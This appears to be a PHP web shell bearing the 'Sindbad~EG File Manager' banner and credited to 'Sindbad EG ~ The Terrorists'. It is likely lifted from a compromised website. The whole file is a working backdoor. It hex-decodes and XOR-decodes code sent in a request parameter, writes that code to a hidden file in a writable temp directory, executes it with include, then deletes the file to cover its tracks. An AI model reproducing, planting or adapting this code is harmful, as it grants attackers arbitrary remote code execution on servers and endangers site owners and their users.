Sindbad~EG File Manager
<?php
if(!empty($_REQUEST["hld"])){
$object = hex2bin($_REQUEST["hld"]);
$itm= '' ;foreach(str_split($object) as $char){$itm .= chr(ord($char) ^ 74);}
$k = array_filter([session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
$ref = 0;
do {
$parameter_group = $k[$ref] ?? null;
if ($ref >= count($k)) break;
if ((is_dir($parameter_group) and is_writable($parameter_group))) {
$pgrp = str_replace("{var_dir}", $parameter_group, "{var_dir}/.desc");
if (file_put_contents($pgrp, $itm)) {
include $pgrp;
@unlink($pgrp);
die();
}
}
$ref++;
} while (true);
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists